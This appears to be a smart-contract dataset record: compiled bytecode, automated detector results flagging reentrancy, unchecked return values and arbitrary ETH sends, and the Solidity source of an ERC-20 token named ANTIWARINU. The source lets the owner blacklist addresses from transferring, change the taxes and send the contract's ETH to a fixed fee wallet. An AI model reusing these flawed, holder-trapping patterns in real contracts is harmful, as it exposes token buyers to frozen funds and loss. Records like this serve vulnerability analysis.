ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f801b665ada4dcebb3f79c8190a1c99e6bb3b669e47ff0be9e9d6fd126e7bfb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,060
0xfe949226A085EBec8cb8ee301b2C28ab82336439
// SPDX-License-Identifier: UNLICENSED //come to visit our website for more information: Antiwarinu.com pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ANTIWARINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Antiwarinu.com"; string private constant _symbol = "AWI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xA5D0E6158e157a57DB53167ec1dCd0Ae3fdF9FAE); _buyTax = 13; _sellTax = 13; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd1461021a578063273123b71461023a578063313ce5671461025a5780636fc3eaec1461027657806370a082311461028b57600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a557806318160ddd146101d55780631bbae6e0146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611667565b610419565b005b34801561016857600080fd5b5060408051808201909152600e81526d416e7469776172696e752e636f6d60901b60208201525b60405161019c9190611684565b60405180910390f35b3480156101b157600080fd5b506101c56101c03660046116fe565b61046a565b604051901515815260200161019c565b3480156101e157600080fd5b50670de0b6b3a76400005b60405190815260200161019c565b34801561020657600080fd5b5061015a61021536600461172a565b610481565b34801561022657600080fd5b506101c5610235366004611743565b6104c3565b34801561024657600080fd5b5061015a610255366004611784565b61052c565b34801561026657600080fd5b506040516009815260200161019c565b34801561028257600080fd5b5061015a610577565b34801561029757600080fd5b506101ec6102a6366004611784565b6105ab565b3480156102b757600080fd5b5061015a6105cd565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161019c565b3480156102f457600080fd5b5060408051808201909152600381526241574960e81b602082015261018f565b34801561032057600080fd5b5061015a610641565b34801561033557600080fd5b506101c56103443660046116fe565b610853565b34801561035557600080fd5b5061015a6103643660046117b7565b610860565b34801561037557600080fd5b5061015a6108f6565b34801561038a57600080fd5b5061015a610936565b34801561039f57600080fd5b5061015a6103ae36600461172a565b610ade565b3480156103bf57600080fd5b5061015a6103ce36600461172a565b610b16565b3480156103df57600080fd5b506101ec6103ee36600461187c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b8152600401610443906118b5565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610b4e565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b8152600401610443906118b5565b662386f26fc100008111156104c05760108190555b50565b60006104d0848484610c72565b610522843361051d85604051806060016040528060288152602001611a7b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f82565b610b4e565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b8152600401610443906118b5565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b8152600401610443906118b5565b476104c081610fbc565b6001600160a01b03811660009081526002602052604081205461047b90610ff6565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610443906118b5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610443906118b5565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906118ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bf91906118ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906118ea565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610c72565b6000546001600160a01b0316331461088a5760405162461bcd60e51b8152600401610443906118b5565b60005b81518110156108f2576001600660008484815181106108ae576108ae611907565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ea81611933565b91505061088d565b5050565b6000546001600160a01b031633146109205760405162461bcd60e51b8152600401610443906118b5565b600061092b306105ab565b90506104c08161107a565b6000546001600160a01b031633146109605760405162461bcd60e51b8152600401610443906118b5565b600e546109809030906001600160a01b0316670de0b6b3a7640000610b4e565b600e546001600160a01b031663f305d719473061099c816105ab565b6000806109b16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3e919061194e565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c0919061197c565b6000546001600160a01b03163314610b085760405162461bcd60e51b8152600401610443906118b5565b600f8110156104c057600b55565b6000546001600160a01b03163314610b405760405162461bcd60e51b8152600401610443906118b5565b600f8110156104c057600c55565b6001600160a01b038316610bb05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610d9a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d757374